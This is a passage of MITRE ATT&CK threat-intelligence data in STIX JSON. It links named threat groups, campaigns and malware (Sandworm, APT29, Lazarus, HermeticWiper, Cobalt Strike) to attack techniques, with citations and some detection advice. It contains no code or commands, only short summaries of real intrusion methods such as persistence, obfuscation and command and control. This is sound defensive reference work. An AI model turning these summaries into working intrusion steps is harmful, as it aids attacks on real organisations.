"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. 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Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.410Z", "description": "[build_downer](https://attack.mitre.org/software/S0471) has the ability to use the <code>WinExec</code> API to execute malware on a compromised host.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--419d663c-0fa5-411c-9697-468debf7efc5", "type": "relationship", "created": "2021-12-27T17:40:56.748Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point Warzone Feb 2020", "url": "https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/", "description": "Harakhavik, Y. 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Retrieved December 17, 2021."}], "modified": "2021-12-27T17:40:56.748Z", "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) has the ability to control an infected PC using RDP.(Citation: Check Point Warzone Feb 2020)", "relationship_type": "uses", "source_ref": "malware--fde19a18-e502-467f-be14-58c71b4e7f4b", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41aa05fe-fb98-4bfd-856a-05fa71423c9c", "type": "relationship", "created": "2022-03-30T14:26:51.844Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.844Z", "description": "Monitor newly executed processes associated with account creation, such as net.exe", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41ac0542-9215-466a-ba43-05bd8b9e330b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/", "description": "Ivanov, A. et al. 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(2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}], "modified": "2020-12-22T19:11:27.225Z", "description": "(Citation: Cybereason Molerats Dec 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", "target_ref": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41b7f3d7-b42e-4301-ac9e-ecad27e826a0", "type": "relationship", "created": "2021-09-16T19:51:35.784Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub Sliver HTTP", "url": "https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2", "description": "BishopFox. (n.d.). Sliver HTTP(S) C2. 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(2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}], "modified": "2021-11-19T23:41:25.711Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use spoof arguments in spawned processes that execute beacon commands.(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--41b9ea44-f258-4415-a3ba-d4b77be6cdc2", "created": "2024-03-27T20:09:11.397Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant-Sandworm-Ukraine-2022", "description": "Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.", "url": "https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T15:19:09.317Z", "description": "During the [2022 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0034), [Sandworm Team](https://attack.mitre.org/groups/G0034) configured Systemd to maintain persistence of GOGETTER, specifying the `WantedBy=multi-user.target` configuration to run GOGETTER when the system begins accepting user logins.(Citation: Mandiant-Sandworm-Ukraine-2022)", "relationship_type": "uses", "source_ref": "campaign--df8eb785-70f8-4300-b444-277ba849083d", "target_ref": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41ba13d1-5681-402e-a847-08b7e7b12f42", "type": "relationship", "created": "2019-04-17T15:08:45.097Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", "source_name": "FireEye FIN6 Apr 2019"}], "modified": "2020-10-09T13:28:48.778Z", "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used Pastebin and Google Storage to host content for their operations.(Citation: FireEye FIN6 Apr 2019)\t\n", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41bbe151-0ebe-4610-85d2-ba565e299d23", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", "source_name": "Proofpoint Leviathan Oct 2017"}], "modified": "2019-04-25T12:24:57.384Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has inserted garbage characters into code, presumably to avoid anti-virus detection.(Citation: Proofpoint Leviathan Oct 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41bdaca0-cda7-49ee-a879-bb0dfb0ba6d4", "type": "relationship", "created": "2021-09-29T19:00:31.581Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-239A BeagleBoyz August 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a", "description": "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}], "modified": "2021-09-29T19:00:31.581Z", "description": "(Citation: CISA AA20-239A BeagleBoyz August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41c0352d-b377-4fe9-8c3a-67b78a9a388e", "type": "relationship", "created": "2022-03-30T14:26:51.877Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.877Z", "description": "New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41c193c1-8269-4a2e-9ed8-9dd51489a03f", "type": "relationship", "created": "2021-03-01T20:37:05.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AppleJeus Feb 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."}], "modified": "2021-03-01T20:37:05.855Z", "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has obtained SSL certificates for their C2 domains.(Citation: CISA AppleJeus Feb 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--41c20ce1-3b9d-4293-a203-a4196d307c59", "created": "2022-09-08T13:49:26.460Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "McAfee Night Dragon", "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T00:36:47.842Z", "description": "During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used a DLL that included an XOR-encoded section.(Citation: McAfee Night Dragon)", "relationship_type": "uses", "source_ref": "campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41c5b24c-6e33-43b4-ad7e-ebe7506d33b9", "type": "relationship", "created": "2021-09-30T14:15:33.348Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky QakBot September 2021", "url": "https://securelist.com/qakbot-technical-analysis/103931/", "description": "Kuzmenko, A. et al. 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Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T18:02:21.412Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors enumerated sessions and users on a remote host, and identified privileged users logged into a targeted system.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41ca57db-9736-4adf-ac5d-ea2be2ab4860", "type": "relationship", "created": "2020-10-13T22:33:14.086Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf", "description": "FireEye Labs/FireEye Threat Intelligence. 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Retrieved January 22, 2016.", "source_name": "FireEye APT17"}], "modified": "2020-10-13T22:33:14.086Z", "description": "[APT17](https://attack.mitre.org/groups/G0025) has created profile pages in Microsoft TechNet that were used as C2 infrastructure.(Citation: FireEye APT17)", "relationship_type": "uses", "source_ref": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae", "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41cbc2d5-a360-4c1c-85b1-32459b05ae08", "type": "relationship", "created": "2022-03-30T14:26:51.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.846Z", "description": "Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. 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Retrieved January 4, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-06T21:19:25.689Z", "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) set the hostnames of their C2 infrastructure to match legitimate hostnames in the victim environment. They also used IP addresses originating from the same country as the victim for their VPN infrastructure.(Citation: FireEye SUNBURST Backdoor December 2020)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--eb897572-8979-4242-a089-56f294f4c91d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--41d56dfa-e797-4bd1-826c-3e78d346f5ed", "created": "2023-09-26T18:46:31.609Z", "revoked": false, "external_references": [{"source_name": "MoustachedBouncer ESET August 2023", "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.", "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-26T18:46:31.609Z", "description": "[MoustachedBouncer](https://attack.mitre.org/groups/G1019) has used malware plugins packed with Themida.(Citation: MoustachedBouncer ESET August 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41d59812-ad44-46f4-89d9-51a9b080a772", "type": "relationship", "created": "2019-12-20T14:23:29.279Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.", "source_name": "Kaspersky Equation QA"}], "modified": "2019-12-20T14:23:29.279Z", "description": "[Equation](https://attack.mitre.org/groups/G0020) is known to have the capability to overwrite the firmware on hard drives from some manufacturers.(Citation: Kaspersky Equation QA) ", "relationship_type": "uses", "source_ref": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9", "target_ref": "attack-pattern--791481f8-e96a-41be-b089-a088763083d4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41d61146-4a42-4897-b4a1-a706130a322d", "type": "relationship", "created": "2017-05-31T21:33:27.056Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html", "description": "Moran, N., et al. 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The group also uses a tool to execute commands on remote computers.(Citation: FireEye Operation Double Tap)(Citation: Symantec Buckeye)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41d6749b-9bd1-47f6-80c4-52652b965e78", "type": "relationship", "created": "2021-01-13T20:16:23.679Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike SUNSPOT Implant January 2021", "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."}], "modified": "2021-01-14T21:54:18.255Z", "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) created a copy of the SolarWinds Orion software source file with a <code>.bk</code> extension to backup the original content, wrote [SUNBURST](https://attack.mitre.org/software/S0559) using the same filename but with a <code>.tmp</code> extension, and then moved [SUNBURST](https://attack.mitre.org/software/S0559) using <code>MoveFileEx</code> to the original filename with a <code>.cs</code> extension so it could be compiled within Orion software.(Citation: CrowdStrike SUNSPOT Implant January 2021)", "relationship_type": "uses", "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", "target_ref": "attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41de9761-477c-4674-aea7-64a0b0b4ab4b", "type": "relationship", "created": "2022-03-25T18:51:00.289Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SentinelOne Hermetic Wiper February 2022", "url": "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack", "description": "Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022."}, {"source_name": "Crowdstrike DriveSlayer February 2022", "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/", "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}, {"source_name": "Qualys Hermetic Wiper March 2022", "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware", "description": "Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022."}], "modified": "2022-03-25T21:34:45.588Z", "description": "[HermeticWiper](https://attack.mitre.org/software/S0697) has the ability to modify Registry keys to disable crash dumps, colors for compressed files, and pop-up information about folders and desktop items.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Qualys Hermetic Wiper March 2022)", "relationship_type": "uses", "source_ref": "malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41e2d922-5014-479d-85ba-da70ad6aa44b", "type": "relationship", "created": "2021-09-21T15:16:40.914Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET BackdoorDiplomacy Jun 2021", "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}], "modified": "2021-10-07T16:28:04.669Z", "description": "[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has obtained a variety of open-source reconnaissance and red team tools for discovery and lateral movement.(Citation: ESET BackdoorDiplomacy Jun 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41e52a99-9797-4c31-8b3c-7adeed98310a", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint Leviathan Oct 2017", "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}], "modified": "2020-03-17T01:53:17.465Z", "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) can change Internet Explorer settings to reduce warnings about malware activity.(Citation: Proofpoint Leviathan Oct 2017)", "relationship_type": "uses", "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--41e8c16e-bfef-415f-b898-b76a1f527cc2", "type": "relationship", "created": "2021-09-07T20:58:44.418Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Checkpoint Dridex Jan 2021", "url": "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/", "description": "Check Point Research. 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Retrieved August 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has established social media profiles to mimic employees of targeted companies.(Citation: Google EXOTIC LILY March 2022)", "modified": "2022-08-19T19:21:57.754Z", "relationship_type": "uses", "source_ref": "intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af", "target_ref": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--426c8308-0856-4dad-85e6-87df276cfa69", "type": "relationship", "created": "2020-05-06T17:47:43.697Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "JPCert TSCookie March 2018", "url": "https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html", "description": "Tomonaga, S. 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(2019, October). OPERATION GHOST. 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(2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. 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Retrieved September 23, 2020."}], "modified": "2020-10-09T16:07:59.473Z", "description": "[MiniDuke](https://attack.mitre.org/software/S0051) can use DGA to generate new Twitter URLs for C2.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--431012d2-0ac4-49ba-b217-c118f0c1cf03", "type": "relationship", "created": "2019-01-29T18:44:04.832Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fortinet Agent Tesla June 2017", "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html", "description": "Zhang, X. (2017, June 28). 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Retrieved September 7, 2021."}], "modified": "2021-09-07T20:58:44.559Z", "description": "[Dridex](https://attack.mitre.org/software/S0384) has used POST requests and HTTPS for C2 communications.(Citation: Kaspersky Dridex May 2017)(Citation: Checkpoint Dridex Jan 2021)", "relationship_type": "uses", "source_ref": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--432f40d2-5309-4cc1-9544-2943233c3c2c", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?", "description": "Higgins, K. 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Retrieved October 6, 2017.", "source_name": "Mandiant FIN5 GrrCON Oct 2016"}], "modified": "2019-04-24T19:41:25.887Z", "description": "(Citation: DarkReading FireEye FIN5 Oct 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--432f7a25-5994-4f50-8b75-c62c674f27a7", "type": "relationship", "created": "2019-01-31T00:36:41.013Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. 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(2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", 